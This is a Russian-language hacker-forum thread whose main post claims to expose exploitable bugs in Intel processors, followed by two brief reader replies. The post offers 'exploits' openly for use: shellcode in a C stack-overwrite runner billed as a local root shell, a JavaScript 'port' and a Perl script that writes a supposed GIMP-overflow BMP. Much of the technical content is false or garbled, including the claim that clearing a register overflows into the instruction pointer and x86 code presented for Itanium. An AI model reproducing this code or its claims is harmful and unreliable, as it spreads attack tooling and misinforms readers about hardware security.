+ Reply to Thread
Results 1 to 3 of 3

Thread: Аппаратные Баги : [Микропроцессоры]

  1. #1

    Default Аппаратные Баги : [Микропроцессоры]

    Аппаратные Баги : [Микропроцессоры]
    Итак привет мой друх, сегодня я тебе расскажу о багах в микропроцессорах и как их можно
    эксплуатировать=))
    Начнем с того что ты даже наверное и не задумывался о багах CPU...
    А они там есть, и их там достаточно... А если честно их там до хрена=))
    А в каких моделях ?!
    А во всех, во всех, ВО ВСЕХ !!!!! Все процессоры которые выпускались с начала 1993 года
    подвержены переполнению буфера, кеша, атакам типа срыв стека, разного рода DOS'ам
    и т.д.
    А как реализовывать атаки на микропроцессоры, ведь это же не программа какая нибудь...
    И вообще как это себе представить ?!
    На все интересующие тебя вопросы ты получишь ответ в этой статье, а если этого не достаточно
    можешь задавать их мне снизу =))

    Ладно теперь немного теории:
    Все баги микропроцессоров связанны с неправильным проктированием его внутренних блоков
    (Тригеры,АЛУ, КЕШ,Регистры,Конверторы, Мультиплексоры и т.д).
    Но основная их доля приходится на кеш (L1,L2, и верхний расширяющий L3-кэш).
    Вообще многие white хакеры-гуру уже давно (первый раз это было 1995 году) предупреждали всех о том что
    через процессоры содержащие такие баги, можно выполнять несанкционированые действия , вплоть до удаленного
    захвата системы=)))) Но а если считать о том что эта новость вылилась в прессу, то датой обнаружения этих багов
    должен быть 2007 год. А "нашел" эти дыры некто как Тео де Раадт (Theo de Raadt). Он обнаружил эти дыры
    в быдло процессоре Intel Core2Duo. У тебя тоже Core2Duo ?!
    Сожалею =))
    Он осветил несколько дырок в этих быдло процессорах, и рассказал о том что эти дырки действительно представляют
    опастность, Некоторые даже критическую =)) Но этот парень кроме слов ничего так и не сделал....
    Год спустя в мире появилась новая новость которая так и поразила всех:
    "Хакер Крис Касперски (мыщъх) сказал что взломает любую систему (Windows,Linux,BSD,*nix) на которой установлен
    микропроцессор Intel". Не правда занятно ?! А?!
    Как он сам сказал то что на конференции HITB(Hack in The BOX) в Малайзии он продемонстрирует взлом системы
    с установленным Intel'ом при помощи эксплойтов на Java Script & TCP/IP пакета=))

    IntelCore2Duo:
    ################################################## ################################################## ####
    мыщъх:
    Процессоры Itel Core2Duo (и не только они содержат) множество ошибок, приводящие к сбоям
    программного обеспечения, зависаниям опрационной системы и даже возможности удаленного захвата
    управления компьютером! Часть ошибок обходится программным путем, часть обновлением микрода ЦП
    или прошивки BIOS, оставшиеся - неисправимы и требуют смены процессора. Насколько реальны
    эти угрозы ?! Попробуем разобраться !

    Критикуя Windows (и отчасти Linux) за большое количество программных ошибок , мы "по умодчанию"
    закладываемся на не порочность аппаратного обеспечения, проектировщики которого ничем не отличаются
    от разработчиков опреционных систем. ДО тех пор, пока процессоры были простыми (относительно операционных систем),
    выходили редко и тестировались тщательно-ошибки "кремнеевых коней" носили единичных характер и учитывались
    разработчиками компиляторов. Сейчас они представляют разве что познавательный интерес.
    Легендарный "Hamarsoft 86BUGS list", насчитывающий свыши сотни ошибок, недокументированных машинных команд
    и особенностей их поведения , последний раз обновлялся в 1994 году, после чего отправилсяна свалку истории , захлебнувшись
    в потоке дефектов, обнаруженных в превых моделях Pentium процессоров причем ни один из этих дефектов (за исключением
    знаменитой ошибки деления, описанной в одноименной врезке) до широкой общественности так и не дошел, ограничевшись
    кругом производителей материнских плат, прошивок BIOS , разработчиков операционных систем/компиляторов и прочей
    технической элитой.

    Возьмем , к присмеру, инструкцию побитового сканирования
    Code:
    BFS dst,scr
    копирующую в dst индекс первого быита в scr.Как вам нравится тот факт, что если scr Равен нулю, то содержимое dst становится
    неопределенным, то есть там может оказаться любой мусор, что серьезно осложняет отладку программ.
    Допустим , на машине разработчика установлен dst неизменным,и разработчик (или его компилятор) закладывается именно на такое поведение
    ЦП. А вот у конечного пользователя dst может сбрасываться в нуль , нарушая работоспособность порграммы и заставляя разработчика теряться
    в догадках , с какого момента программа пошла в разнос. Обычно в таких случаях все списывается на Windows или "у вас на компьютере вирусы",
    "переустановите операционную систему...
    ах вы уже переустановили ?! ну тогда мы не знаем, разбирайтесь со своей машиной сами"
    ################################################## ################################################## ####

    Кстати , это уже давно не ошибка а в полне документированная особенность. Intel даже приводит псевдокод команды BSF во втором
    томе "Instruction Set Reference". Вообще крутая книжка =)) Советую всем качнуть и почитать, там очень много можно узнать и
    про CPU и про недокументированные комманды и возможности=))

    PS: Еще одна уязвимость обнаруженная уже почти 12 лет назад это баг в АЛУ при обработке такого примера как этот:
    Code:
    x-(x/y)*y
    [при y!=0]
    при нормальном раскладе результат должен получиться равным 0. Но вот микропоцессор Pentium I выдавал
    значение 256 при x=2147483647 & y =2147423648. Поразительная точность не правда ли ?!=D))))))))))))))))))))))))))))))))))))))))))

    Еще одна уязвимость переполнение буфера в регистре [переход за пределы FFFFFFFF-для 32-х битных и FFFFFFFFFFFFFFFF - для 64 bit]

    Пример для 64-bit Intel Itanium (моя находка=))) :
    Code:
    mov rax, 0FFFFFFFFFFFFFFFFh ;вносим значение FFFFFFFFFFFFFFFF в RAX
    mov rbx, 0FFFFFFFFFFFFFFFFh; вносим значение FFFFFFFFFFFFFFFF в RBX
    nop ; Тупо забиваем NOP'ом
    nop ; Тупо забиваем NOP'ом
    nop ; Тупо забиваем NOP'ом
    add rax,rbx; Суммируем два значения и вносим значение в rax
    xor rax,rax ; <- Срыв Стека =)) при обнулении регистра =((
    Вот так , все что не поместилось в регистр rax будет свободно перемещено в указатель стека RIP =))
    Таким образом мы можем выполнить свой код на атакуемой машине =)))
    Становится еще жарче ?!
    Дальше копаясь нашел еше один баг связанный с CPUID регистром=)) (Чуть не забыл, у меня микропроцессор Intel Extreme 3.00 c HTT)
    Вот где - где но тут я даже не ожидал найти такой баг, а баг заключается в том, что при передачи программы
    в супер-регистры (которые до этих пор я считал супер неуязвимыми) после обнуления регистра eax, происходит
    переполнение буфера, => срыв стека, а дальше .... Ну вы сами знаете что дальше делать...=)))
    Вот я и решил испробовать этот баг и написал сплойт под Linux/x86 для захвата ["/bin/sh"] c root - привилегиями=))

    Привожу код на C++ с моими коментами:
    Code:
    // Здесь может быть ваша реклама=))
    #include <...>
    #include <...> // Защита от ботов[ламерков], или юзаем по - вкусу =))
    #include <...>
    char shellcode[] = 
    
    "\x31\xc0" // xor %eax,%eax 
    "\x0f\xa2" // cpuid 
    "\x51" // push %ecx 
    "\x68\xe7\x95\xa8\xec" // push $0xeca895e7 
    "\x68\xde\x7f\x37\x3f" // push $0x3f377fde 
    "\x68\x07\x1a\xec\x8f" // push $0x8fec1a07 
    "\x68\x6e\x1c\x4a\x0e" // push $0x0e4a1c6e 
    "\x68\x06\x5b\x16\x04" // push $0x04165b06 
    
    //
    // <_unpack_loop>:
    //
    
    "\x31\x0c\x24" // xor %ecx,(%esp) 
    "\x5a" // pop %edx 
    "\x75\xfa" // jne <_unpack_loop> 
    "\x83\xec\x18" // sub $0x18,%esp 
    "\x54" // push %esp 
    "\xc3"; // ret 
    
    int main(int argc, char **argv) {
    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int) shellcode;
    }
    Вот и все компилим... получаем готовую linux_x86 RootShell открывалку=))
    Этот сплойт работает только локально, но если постараться можно перефигачить для удаленного взлома=)
    Чуть не забыл , адресс возврата шелкода 0x6c65746e, возвращается функцией 'letn'.
    Ладно, это все хорошо но как мыщъх перефигачил такого рода сплойт под java script ?!
    Вообще-то есть много способов перевода сплойтов на другие языки.
    Вот например я перевел этот сплойт на Java Script:
    Code:
    <html>
    <script>
    // Определяю массив для шелкода и бабахаю сюда весь байт-код
    var shellcode =[
    ['0x31','0xC0','0x0F','0xA2','0x51','0x68','0xE7','0x95','0xA8','0xEC','0x68','0xDE','0x7F','0x37',], 
    ['0x3F','0x68','0x07','0x1A','0xEC','0x8F','0x68','0x6E','0x1C','0x4A','0x0E','0x68','0x06','0x5B','0x16','0x04'],
    ['0x31','0x0C','0x24','0x75','0xFA','0x83','0xEC','0x18','0x54','0xC3']
    ]
    ///.....
    eval (exec (shellcode)); // Выполняем шелкод=))
    ///..... Пиво и Колу по вкусу=))
    </script>
    </html>
    Вот еще одна модификация моего shellcode'а на PERL:

    Code:
    #!usr/bin/perl -w
    # Кстати можно вот эту хрень и не использовать=)
    use strict 
    # Вот это байт-код стандартного BMP хидера 
    my $bmp_header = "0xDE\0x89\0xCA\0xC5\0x8B\0x05\0x25\0x7" 
    # Этот код выполняет переполнени буфера в программе GIMP // работает до версии 2.x.x
    my gimp_overflow = "0xCC\0x56\0x5E\0x90\0x90\0x50\0xFC\0x6F"
    
    # Вот и наш шелкод =))
    my $shellcode = 
    "0x31\0xC0\0x0F\0xA2\0x51\0x68\0xE7\0x95\0xA8\0xEC\0x68\0xDE\0x7F\0x37".
    "\0x3F\0x68\0x07\0x1A\0xEC\0x8F\0x68\0x6E\0x1C\0x4A\0x0E\0x68\0x06\0x5B".
    "\0x16\0x04\0x31\0x0C\0x24\0x75\0xFA\0x83\0xEC\0x18\0x54\0xC3";
    # Создаем файл в который нам надо сохранить наш шелкод [xploit.bmp]
    open (out, "> xploit.bmp");
    # Вот эта функция преобразует наши HEX-коды в BIN мод (бинарник)
    binmode(out);
    # Вводим наши переменные с данными им shellcode'ами=))))
    print (out $bmp_header,$gimp_overflow,$shellcode);
    # Сохраняем и закрываем наш файл
    close (out);
    # Если ты владеешь другими языками , ты можешь также переписать этот сплойт под себя=)
    # Лично я владею : ASM, C/C++/C#, PHP, PERL, Java Script ,немного Python...
    # Да хватит о бо мне , записался я , а ведь страница не ризиновая (хотя жаль,очень жаль) надо заканчивать !
    Вот и все наверное на сегодня ... Фу блин еще одна статья готова=))
    Ты наверное уже получил достаточно информации про баги в микропроцессорах. Я затронул сегодня тему
    только Intel CPU , но в следующий раз мы с тобой рассмотрим баги в микропроцессорах AMD (x86 & x64),
    познакомимся с новыми методами изготовления сплойтов под 64-х битные процы и узнаем много нового=))
    Кстати вся информация преведенная здесь, предоставленна мной только в познавательных целях !! За незаконное
    использование этой статьи я и администрация сайта не несёт ответственности.
    Shellcode - это хорошо, но не НЕЗАБЫВАЙ о том что за неправомерный доступ к информации тебя ждет решеточка=(
    Конечно за взлом своего компьютера или компьютера подключенного к сети твоего старого универа тебе нечего не грозит=)
    так что работай головой=))
    И не забывай то что МЫ кодокопатели - народ почти вымершей расы хакеров борящихся за справедливость в этой жизни,
    а не НАОБОРОТ !!!!!

    СПС за ВНИМАНИЕ !!!
    С вами был 4k4 S4NJ {sacura}
    Th4nk$ : nezumi {aka мыщъх} & 4ll p30pl3 wh0 kn0w m3 =))
    Я бы изменил мир, но БОГ не дает исходники...

  2. 4 пользователя(ей) сказали cпасибо:
    Annihi1at0r (26-07-2010) hexum (16-01-2011) root (12-05-2010) ximera (01-10-2012)
  3. #2

    Default Re: Аппаратные Баги : [Микропроцессоры]

    Охрененно!
    На каких ещё процессорах действует?

  4. #3

    Default Re: Аппаратные Баги : [Микропроцессоры]

    что такое супер регистры?

+ Reply to Thread

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
All times are GMT. The time now is 01:41
vBulletin® Copyright ©2000 - 2018
www.reverse4you.org